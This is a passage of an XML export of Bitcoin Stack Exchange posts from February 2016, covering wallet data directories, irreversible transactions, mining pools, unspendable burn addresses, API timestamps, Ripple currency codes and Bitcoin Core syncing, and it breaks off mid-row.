  <row Id="42797" PostTypeId="2" ParentId="42723" CreationDate="2016-02-06T16:16:39.143" Score="0" Body="&lt;p&gt;It depends on what OS you've got. Windows, Linux, Mac OS?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, one of the many possible solutions is somehow OS-independent:&#xA;move everything to one single directory on your external disk including the wallet.dat file, the .conf file, the executable, and the blockchain data. Then make sure you &lt;strong&gt;always&lt;/strong&gt; start your Bitcoin-Qt client from the console and include the parameters -datadir and -conf in your command line. Here is an example for Linux:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd /my_external_harddisk/bitcoin/&#xA;./Bitcoin-Qt -datadir=. -conf=./bitcoin.conf -printtoconsole&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I added the optional -printtoconsole parameter. This prevents inflating the debug.log file somewhere on your OS disk all the time.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In MS-Windows it would look very similar, I guess (I haven't got access to a Windows PC at the moment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Mac OS you may want to keep everything in a directory containing Bitcoin-Qt.app for practical reasons, but the principle is the same:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd /Volumes/my_external_harddisk/bitcoin/&#xA;Bitcoin-Qt.app/Contents/MacOS/Bitcoin-Qt -datadir=. -conf=./bitcoin.conf -printtoconsole&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If&lt;/strong&gt; you later inadvertently start Bitcoin-Qt without any parameters then it simply creates an empty wallet.dat file in Bitcoin's standard directory somewhere on the OS disk. At first glance this looks as if you suddenly lost all your precious Bitcoins. Don't worry, your original wallet.dat file is still there on your external HD in perfect condition. Just exit the program and restart from the console with the parameters as explained above.&lt;/p&gt;&#xA;" OwnerUserId="27267" LastEditorUserId="27267" LastEditDate="2016-02-06T16:49:16.610" LastActivityDate="2016-02-06T16:49:16.610" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42799" PostTypeId="2" ParentId="39245" CreationDate="2016-02-06T19:48:11.233" Score="0" Body="&lt;p&gt;Bitcoin was the first crypto coin. Satoshi when analyzing the problem of digital payment discovered that the machine needs to determine if some transaction sucessfully or unsuccessfully spent the output. In the most trivial case this means the signature is ok and pubkey matches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Determining if anything (the spend) is one of two possible values (1=success, 0=failure) is the most studied problem in computer engineering, also known as set membership or recognition of word from language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Standard off-the shelf solution to this problem is to use some machine that meets the criteria. For bitcoin the requirement that the machine should always halt, as fast as possible. the strongest machine with this guarantee is some kind of a stack machine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL;DR Satoshi just used the obvious solution to a known subject&lt;/p&gt;&#xA;" OwnerUserId="32091" LastEditorUserId="32091" LastEditDate="2016-02-06T20:05:07.823" LastActivityDate="2016-02-06T20:05:07.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42800" PostTypeId="2" ParentId="42763" CreationDate="2016-02-06T19:57:46.197" Score="1" Body="&lt;p&gt;simple answer: give each customer your different address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;never reuse addresses&lt;/p&gt;&#xA;" OwnerUserId="32091" LastActivityDate="2016-02-06T19:57:46.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42801" PostTypeId="1" CreationDate="2016-02-06T20:35:50.683" Score="0" ViewCount="1215" Body="&lt;p&gt;I sent money to the wrong address. I am not a developer and I only understand the blockchain in its most general terms.....but I use bitcoin everyday so I have a working knowledge of it. It's hard for me to get anywhere because I know none of the languages, anything about scripting, and can't even run a install via command prompt.....I'm working on it though. Is there a way for me to either recover, regenerate, or resend my misplaced transacrion? I see it there on blockcypher. I tried to import into one of my other wallets but it won't go because I assume I need the private key. Please help.&lt;/p&gt;&#xA;" OwnerUserId="32766" LastActivityDate="2023-08-20T01:00:22.550" Title="Is there any way for me to recover or reclaim a confirmed but unspent transaction that was sent to the wrong address?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42802" PostTypeId="2" ParentId="42801" CreationDate="2016-02-06T20:39:07.857" Score="3" Body="&lt;p&gt;Confirmed Bitcoin transactions are final and cannot be undone. Try asking the receiver to send the funds back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you did the transaction between accounts on an exchange, it probably can be cancelled by the exchange team.&lt;/p&gt;&#xA;" OwnerUserId="32091" LastEditorUserId="32091" LastEditDate="2016-02-06T22:22:58.297" LastActivityDate="2016-02-06T22:22:58.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42803" PostTypeId="1" AcceptedAnswerId="42816" CreationDate="2016-02-06T22:27:08.267" Score="0" ViewCount="1334" Body="&lt;p&gt;I had SCOTCOIN in a counterwallet.io address and I transferred it to a Coinbase BTC wallet. I wouldn't have thought the transaction would have worked but it did. The amount of BTC in the Coinbase wallet in no way reflects the going exchange rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's gone wrong and can it be fixed?&lt;/p&gt;&#xA;" OwnerUserId="32769" LastActivityDate="2016-02-08T10:09:46.727" Title="Transfer different currencies between wallets" Tags="|wallet|coinbase.com|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42804" PostTypeId="2" ParentId="42789" CreationDate="2016-02-06T22:29:12.007" Score="1" Body="&lt;p&gt;Its not a math problem. Its just search for partial collision in function called sha256.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sha256 is a famous type of puzzle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During the writing of this post, a block  397108 was mined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution looks like this:&#xA;00000000000000000497b28e9c38673ef8fd2fed317d6eca8a579350b1cba0a6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice the zeroes on the beginning. The more zeroes the harder is to find a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only reason is to waste power to prevent creation of funds from thin air (prevent print too much money) and to confirm payments.&lt;/p&gt;&#xA;" OwnerUserId="32091" LastActivityDate="2016-02-06T22:29:12.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42805" PostTypeId="2" ParentId="42803" CreationDate="2016-02-06T22:36:05.300" Score="0" Body="&lt;p&gt;well perhaps there is nobody in Coinbase who monitors actual price of SCOTCOIN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, they probably still have the SCOTCOIN so maybe contact them fast before they sell it?&lt;/p&gt;&#xA;" OwnerUserId="32091" LastActivityDate="2016-02-06T22:36:05.300" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42806" PostTypeId="2" ParentId="39245" CreationDate="2016-02-07T08:22:40.577" Score="0" Body="&lt;p&gt;Well the reason for allowing only some script forms is to ensure that the language is not Turing complete. The simplest reason why you cant have a Turing complete language is because you want a block to be pushed up into the blockchain every 10 mins. So you have to find a way to indirectly control execution time. Certain other scripts are prevented because of feared security vulnerabilities. A Turing complete language within bitcoin would call for a solution of the kind implemented by Ethereum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your second point about why certain scripts are allowed in blocks but not in transactions is an interesting one and is mostly because some of the vulnerabilities were discovered well  after bitcoin got rolling. So invalidating the blocks that had the problematic opcodes would have required a hard fork. Whereas just blocking the problematic opcodes to prevent future issues was much easier. Now it would be interesting if redeeming the coins in some block necessitated the use of any of the blocked opcodes, but I guess there aren't any transactions of that kind.&lt;/p&gt;&#xA;" OwnerUserId="17079" LastActivityDate="2016-02-07T08:22:40.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42807" PostTypeId="2" ParentId="1851" CreationDate="2016-02-07T09:45:30.730" Score="4" Body="&lt;p&gt;If you want to use an address, it would be nice to generate an address that can be verified by a human as obviously unspendable just by looking at the Base58. When you look at these addresses, you will say, &quot;wow, that is obviously unspendable.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;1CounterpartyXXXXXXXXXXXXXXXUWLpVr&lt;/code&gt; &amp;lt;- used by Counterparty&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;1ChancecoinXXXXXXXXXXXXXXXXXZELUFD&lt;/code&gt; &amp;lt;- used by Chancecoin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These addresses are characterized by a human-readable identifier at the start, followed by a large number of &lt;code&gt;X&lt;/code&gt;'s. In order to spend the funds from an address like this, you would need to first reverse the hash (impossible), then find the private key that corresponds to the public key that you got (also impossible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the last six digits of these addresses are Base58Check checksums. This is the only tricky part of the process: you need to search over about 4 billion strings until you find a valid Base58Check string. This will only take an instant, though. You can easily generate these addresses using &lt;a href=&quot;https://github.com/adamkrellenstein/unspendable&quot; rel=&quot;nofollow noreferrer&quot;&gt;adamkrellenstein/unspendable&lt;/a&gt; on GitHub.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inspired by &lt;a href=&quot;https://bitcoin.stackexchange.com/a/24208/6273&quot;&gt;this other StackExchange answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6273" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2016-02-07T09:45:30.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42808" PostTypeId="1" AcceptedAnswerId="42810" CreationDate="2016-02-07T17:43:39.910" Score="4" ViewCount="135" Body="&lt;p&gt;Mike Hearn has apparently sold all his Bitcoins. So what is to be expected about the development of bitcoinj? (and Java based clients in general).&lt;/p&gt;&#xA;" OwnerUserId="2075" LastEditorUserId="2075" LastEditDate="2016-08-23T16:47:39.637" LastActivityDate="2016-08-23T16:47:39.637" Title="With Mike Hearn quitting Bitcoin, what seems to be the future of bitcoinj?" Tags="|bitcoinj|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42810" PostTypeId="2" ParentId="42808" CreationDate="2016-02-07T18:26:12.110" Score="7" Body="&lt;p&gt;Hopefully, &lt;code&gt;bitcoinj&lt;/code&gt; will now be maintained by &lt;a href=&quot;https://github.com/bitcoinj/bitcoinj/graphs/contributors&quot;&gt;other people&lt;/a&gt; that based projects on it. From what I've read and the &lt;a href=&quot;https://github.com/bitcoinj/bitcoinj/commits/master&quot;&gt;commit list&lt;/a&gt; it seems that Andreas Schildbach, who also initiated the Bitcoin Wallet for Android, now takes a leading role in maintaining of bitcoinj.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-02-07T18:26:12.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42812" PostTypeId="2" ParentId="40498" CreationDate="2016-02-07T22:40:34.683" Score="0" Body="&lt;p&gt;Depends on the area. In any case i suggest you to only use test network to avoid losing funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are interested about the crypto stuff, study how to turn random number  into wallet address, or how signatures are made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/keeshux/basic-blockchain-programming&quot; rel=&quot;nofollow&quot;&gt;https://github.com/keeshux/basic-blockchain-programming&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32091" LastActivityDate="2016-02-07T22:40:34.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42813" PostTypeId="1" CreationDate="2016-02-07T23:09:25.343" Score="0" ViewCount="17271" Body="&lt;p&gt;I am new to using bitcoin, and I don't have any mining hardware, just my computer. I got GUIminer, and set the server to other, and the host name to &lt;a href=&quot;http://api.bitcoin.cz&quot; rel=&quot;nofollow&quot;&gt;http://api.bitcoin.cz&lt;/a&gt;, port 8332. I entered my username and worker name, and it's now mining (very slowly, as expected) but still mining, however, it says on slush's server that i don't have any active workers and I'm not mining, anybody know what the problem is? I also have 1 stale share, what is that, and how did i get it?&lt;/p&gt;&#xA;" OwnerUserId="32793" LastEditorUserId="5406" LastEditDate="2016-02-08T16:08:05.590" LastActivityDate="2018-10-28T15:20:30.077" Title="I am new to bitcoin, and GUI miner won't work on slush's server" Tags="|mining-pools|gpu-mining|guiminer|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42814" PostTypeId="1" AcceptedAnswerId="42886" CreationDate="2016-02-08T04:42:15.440" Score="3" ViewCount="409" Body="&lt;p&gt;Bitcoin 0.11 on a Raspberry Pi 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/jgarzik/python-bitcoinrpc&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jgarzik/python-bitcoinrpc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using this RPC auth proxy to talk to bitcoind from Python. I have a script that requests &lt;code&gt;getmempoolinfo&lt;/code&gt; every 1 second. Occasionally given user input a new address is needed, and the script requests &lt;code&gt;getnewaddress&lt;/code&gt;. This RPC-call often times out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes the time-out causes even weirder behavior in other RPC calls until python is interrupted and the script killed: for example, &lt;code&gt;getmempoolinfo&lt;/code&gt; returns the same information every time it is called until the script is restarted. Even querying bitcoind from the command line in a separate terminal window &lt;code&gt;bitcoin-cli getmempoolinfo&lt;/code&gt; indicates that the mempool is not growing at all until the script that timed-out calling &lt;code&gt;getnewaddress&lt;/code&gt; is terminated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also notice from the command line &lt;code&gt;bitcoin-cli getnewaddress&lt;/code&gt; can take up to 30 seconds, without any python scripts running or other in-progress RPC calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought bitcoind is just retrieving a new address from wallet.dat, what is taking so long? It's not decrypting the wallet, it's not generating a whole new address from entropy... yet this specific RPC call is causing me lots of downstream problems.&lt;/p&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2016-02-12T18:29:46.847" Title="Why does getNewAddress take so long? Often times out python-bitcoinrpc" Tags="|bitcoind|json-rpc|python|address-generation|raspberry-pi|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="42816" PostTypeId="2" ParentId="42803" CreationDate="2016-02-08T10:09:46.727" Score="1" Body="&lt;p&gt;You &lt;em&gt;can&lt;/em&gt; send one kind of cryptocurrency to another cryptocurrency's wallet. The transaction will complete &lt;strong&gt;but&lt;/strong&gt; the coin will be lost.&lt;/p&gt;&#xA;" OwnerUserId="32769" LastActivityDate="2016-02-08T10:09:46.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42817" PostTypeId="1" AcceptedAnswerId="42819" CreationDate="2016-02-08T13:15:19.450" Score="2" ViewCount="808" Body="&lt;p&gt;I'm fetching my active credits in BFX and trying to discover when I'll have my funding back. This is a response example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/v1/credits&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[{&#xA;    amount: &quot;294.4316181&quot;,&#xA;    currency: &quot;USD&quot;,&#xA;    id: 15778083,&#xA;    period: 2,&#xA;    rate: &quot;16.816&quot;,&#xA;    status: &quot;ACTIVE&quot;,&#xA;    timestamp: &quot;1454846632.0&quot;&#xA;}, ...&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But &lt;code&gt;new Date(1454846632.0)&lt;/code&gt; returns a very old date, what makes me think this timestamp isn't there to be converted into a real date at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am doing something wrong? How can I discover the remaining time of a credit I provided?&lt;/p&gt;&#xA;" OwnerUserId="32807" LastActivityDate="2016-02-08T17:53:31.947" Title="Bitfinex get credits and convert timestamp to JS Date" Tags="|api|timestamp|javascript|bitfinex|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42818" PostTypeId="2" ParentId="42813" CreationDate="2016-02-08T15:49:50.590" Score="2" Body="&lt;p&gt;Your hashpower is magnitudes too low. It is so low, that the pool doesn't accept your work, because it will never amount to any use. You are competing with a teaspoon in a world of &lt;a href=&quot;https://en.wikipedia.org/wiki/Bucket-wheel_excavator&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bucket-wheel excavators&lt;/a&gt;. You will be expending energy and never gain any revenue. Please check out &lt;a href=&quot;https://bitcoin.stackexchange.com/q/41276/5406&quot;&gt;In the ASIC-age, is it worth starting mining Bitcoin at home?&lt;/a&gt; for a more comprehensive overview of the mining situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shares are simpler portions of work at a lower difficulty than blocks. They are used by mining pools to gauge the contribution of miners. You apparently found a single share, but it was found after the pool had started working on a new block. When your &lt;code&gt;guiminer&lt;/code&gt; told the pool about it, it was already outdated.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2016-02-11T10:39:34.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42819" PostTypeId="2" ParentId="42817" CreationDate="2016-02-08T17:53:31.947" Score="3" Body="&lt;p&gt;The problem is not with the timestamp, it's with your method of converting the timestamp to local time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;https://stackoverflow.com/questions/4631928/convert-utc-epoch-to-local-date-with-javascript&quot;&gt;this SO question&lt;/a&gt; describes, convert it this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var dt = new Date(0);&#xA;dt.setUTCSeconds(1454846632);&#xA;console.log(dt.toString());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which prints &lt;code&gt;Sun Feb 07 2016 07:03:52 GMT-0500 (EST)&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2016-02-08T17:53:31.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42820" PostTypeId="1" CreationDate="2016-02-08T18:47:30.873" Score="3" ViewCount="694" Body="&lt;p&gt;I saw a video on youtube about a card for Bitcoin, is there a legit card service?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I am a complete noob in bitcoin so please mention links in the answers)&lt;/p&gt;&#xA;" OwnerUserId="32734" LastEditorUserId="5406" LastEditDate="2016-02-09T11:10:01.133" LastActivityDate="2016-10-03T15:06:20.797" Title="Can I get a Bitcoin credit card?" Tags="|bitcoin-credit-card|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42822" PostTypeId="2" ParentId="29443" CreationDate="2016-02-08T20:09:09.843" Score="1" Body="&lt;p&gt;You can find an answer with an example here:&#xA;&lt;a href=&quot;https://gist.github.com/justmoon/8597643&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/justmoon/8597643&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Type 0x01 means demurraging currency:&lt;/p&gt;&#xA;&lt;p&gt;01 __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __&lt;/p&gt;&#xA;&lt;p&gt;CURCODE- DATE------- RATE------------------- RESERVED---&lt;/p&gt;&#xA;&lt;p&gt;CURCODE - Three character uppercase ASCII.&lt;/p&gt;&#xA;&lt;p&gt;DATE - DEPRECATED Demurrage start date (Ripple epoch; seconds since 2000) -&amp;gt; There is no reason to choose one reference date over another so this feature will be removed.&lt;/p&gt;&#xA;&lt;p&gt;For now just make sure you ALWAYS set the date to 00 00 00 00&lt;/p&gt;&#xA;&lt;p&gt;RATE - Demurrage rate, defined as e-folding time in seconds&#xA;(IEEE 754 double-precision floating-point)&lt;/p&gt;&#xA;&lt;p&gt;RESERVED - Reserved for&#xA;future use, duh&lt;/p&gt;&#xA;&lt;p&gt;Note: Date and rate are four-byte aligned, rate is eight-byte aligned,&#xA;for easy parsing on 32/64 bit CPUs.&lt;/p&gt;&#xA;&lt;p&gt;Demurrage example:&lt;/p&gt;&#xA;&lt;p&gt;01 58 41 55 00 00 00 00 C1 F7 6F F6 EC B0 BA C6 00 00 00 00&lt;/p&gt;&#xA;&lt;p&gt;// Calculating the demurrage rate //&lt;/p&gt;&#xA;&lt;p&gt;// We want 0.5% per year. There&#xA;are 31536000 in a year, so the e-folding time in seconds is:&lt;/p&gt;&#xA;&lt;p&gt;31536000 / ln(0.995) = -6291418827.045599&lt;/p&gt;&#xA;&lt;p&gt;// In plain English: The nominal amount of this asset will decrease&#xA;(hence the minus sign) e times (≈2.71828) every 6291418827.045599&#xA;seconds&lt;/p&gt;&#xA;&lt;p&gt;// As hex (IEEE double):&#xA;&lt;a href=&quot;http://gregstoll.dyndns.org/%7Egregstoll/floattohex/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://gregstoll.dyndns.org/~gregstoll/floattohex/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;0xc1f76ff6ecb0bac6&lt;/p&gt;&#xA;&lt;p&gt;// Final currency code 0158415500000000C1F76FF6ECB0BAC600000000&lt;/p&gt;&#xA;&lt;p&gt;// Example TrustSet&#xA;{&amp;quot;Flags&amp;quot;:131072,&amp;quot;TransactionType&amp;quot;:&amp;quot;TrustSet&amp;quot;,&amp;quot;Account&amp;quot;:&amp;quot;rNb721TdNHN37yoURrMYDiQFmvXmENCZW6&amp;quot;,&amp;quot;LimitAmount&amp;quot;:{&amp;quot;value&amp;quot;:&amp;quot;1000&amp;quot;,&amp;quot;currency&amp;quot;:&amp;quot;0158415500000000C1F76FF6ECB0BAC600000000&amp;quot;,&amp;quot;issuer&amp;quot;:&amp;quot;rUyPiNcSFFj6uMR2gEaD8jUerQ59G1qvwN&amp;quot;}}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create the code for your currency as shown.&lt;/li&gt;&#xA;&lt;li&gt;Set a Trustline for this currency (As shown in the end of the quote)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Thats it, it's created now.&lt;/p&gt;&#xA;&lt;p&gt;P.S.: For now I know the only one place where this currencies are shown correctly:&#xA;&lt;a href=&quot;https://bithomp.com/explorer/forabc&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bithomp.com/explorer/forabc&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31566" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2016-02-08T20:09:09.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42823" PostTypeId="1" CreationDate="2016-02-08T21:28:38.900" Score="3" ViewCount="2509" Body="&lt;p&gt;I am pretty new to bitcoin and I am trying to create a private blockchain by using &lt;code&gt;bitcoind -regtest -daemon&lt;/code&gt;. But the executable stops, giving this message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;Adding fixed seed nodes as DNS doesn't seem to be available&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could anyone help me out with this issue ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="32823" LastEditorUserId="5406" LastEditDate="2016-02-11T10:24:53.513" LastActivityDate="2016-02-11T10:24:53.513" Title="Adding fixed seed nodes as DNS doesn't seem to be available" Tags="|bitcoind|regtest|seed|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42824" PostTypeId="2" ParentId="42820" CreationDate="2016-02-08T22:18:16.843" Score="2" Body="&lt;p&gt;Two card services that I know of are &lt;a href=&quot;https://xapo.com/card/&quot; rel=&quot;nofollow&quot;&gt;xapo&lt;/a&gt; and &lt;a href=&quot;https://www.e-coin.io/&quot; rel=&quot;nofollow&quot;&gt;e-coin&lt;/a&gt; (debit) cards. I know people that used them successfully and as far as I can tell are legit.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastActivityDate="2016-02-08T22:18:16.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42825" PostTypeId="2" ParentId="42823" CreationDate="2016-02-08T23:17:11.340" Score="4" Body="&lt;p&gt;The message means that no DNS seeds were found (which is normal, as regtest has no DNS seeds), and thus that it will fall back to its builtin list of fixed seed nodes (which regtest has 0 of).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, the message is harmless and the artifact of DNS/seed logic that doesn't really apply to regtest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regtest is a private network for testing, so you don't want it to connect to any specific other node by default. If you want it to connect to others, use -connect, -addnode, -listen, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect it's not actually frozen, just not doing anything because it has no connections. In that case, it would still accept RPC commands fine.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2016-02-09T02:40:21.650" LastActivityDate="2016-02-09T02:40:21.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42826" PostTypeId="1" CreationDate="2016-02-09T01:32:36.557" Score="0" ViewCount="235" Body="&lt;p&gt;To start things off I am new at this so bear with me...&#xA;I have bought coins through LocalBitCoins and sent them to my wallet (with 24 confirmations).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently on Bitcoin Core with 2 years and 23 weeks behind Synchronizing. I heard you were able to send Bitcoins without actually being Synchronizing but whenever I try to send my funds elsewhere I get a &quot;Insufficient funds exceeded&quot; box. I go back to overview to see that my Bitcoins have not been transferred to my Bitcoin Core wallet yet probably prompting the insufficient funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know waiting to finish Synchronizing is the better solution but I thought I was able to send the coins without being synchronized?&lt;/p&gt;&#xA;" OwnerUserId="32832" LastActivityDate="2016-02-09T06:19:22.597" Title="Bitcoin Core Problem" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ClosedDate="2016-02-11T10:23:37.660" ContentLicense="CC BY-SA 3.0" />
  <row Id="42827" PostTypeId="1" CreationDate="2016-02-09T03:20:17.527" Score="0" ViewCount="46" Body="&lt;p&gt;i transferred coins to my wallet, but the wallet hasn't finished syncing with the network as yet, so the coins have not reflected. Is this something i need to be concerned about? Do i just wait for it to finish and then see if they appear? I did use the address the wallet gave me.&lt;/p&gt;&#xA;" OwnerUserId="32833" LastActivityDate="2016-02-09T07:36:57.950" Title="Coins not yet refllecting in wallet" Tags="|e-wallet|" AnswerCount="1" CommentCount="0" ClosedDate="2016-02-09T11:38:40.210" ContentLicense="CC BY-SA 3.0" />
  <row Id="42828" PostTypeId="2" ParentId="42826" CreationDate="2016-02-09T06:19:22.597" Score="1" Body="&lt;p&gt;As far as I know, you heard wrong.  I don't think Bitcoin Core supports sending coins when the wallet is not synchronized.  It needs an up-to-date copy of all the transactions on the network, so that it can be sure of spending coins that have not already been spent.  (Such a transaction would be rejected by the network, but it would lead to confusion on your end, and could also result in other nodes on the network refusing to relay your other legitimate transactions.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either wait to synchronize (note that you are downloading about 60 GB of data) or see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/6056/cannot-access-my-bitcoins-because-my-wallet-is-still-synchronising-what-can-i-d&quot;&gt;Cannot access my bitcoins because my wallet is still synchronising. What can I do to spend them immediately?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2016-02-09T06:19:22.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42829" PostTypeId="2" ParentId="42719" CreationDate="2016-02-09T06:23:44.940" Score="0" Body="&lt;p&gt;Here is a simple workaround.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enable the flag passed to &lt;code&gt;txDetails&lt;/code&gt; of &lt;code&gt;blockToJSON()&lt;/code&gt; in &lt;code&gt;rpcblockchain.cpp&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Changes Needed:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--- a/src/rpcblockchain.cpp&#xA;+++ b/src/rpcblockchain.cpp&#xA;@@ -423,7 +423,7 @@ UniValue getblock(const UniValue&amp;amp; params, bool fHelp)&#xA;         return strHex;&#xA;     }&#xA;&#xA;-    return blockToJSON(block, pblockindex);&#xA;+    return blockToJSON(block, pblockindex, true);&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Use the &lt;code&gt;getblock &amp;lt;HASH&amp;gt;&lt;/code&gt; JSON RPC command. Now, it will throw all the transaction details. Coinbase transaction can help you infer your fees (NOTE that the logic can also be incorporated in above code but I am keeping it simple) &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example output:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.....&#xA;&#xA;          &quot;vout&quot;: [&#xA;            {&#xA;              &quot;value&quot;: 25.04810000,&#xA;              &quot;n&quot;: 0,&#xA;              &quot;scriptPubKey&quot;: {&#xA;                &quot;asm&quot;: 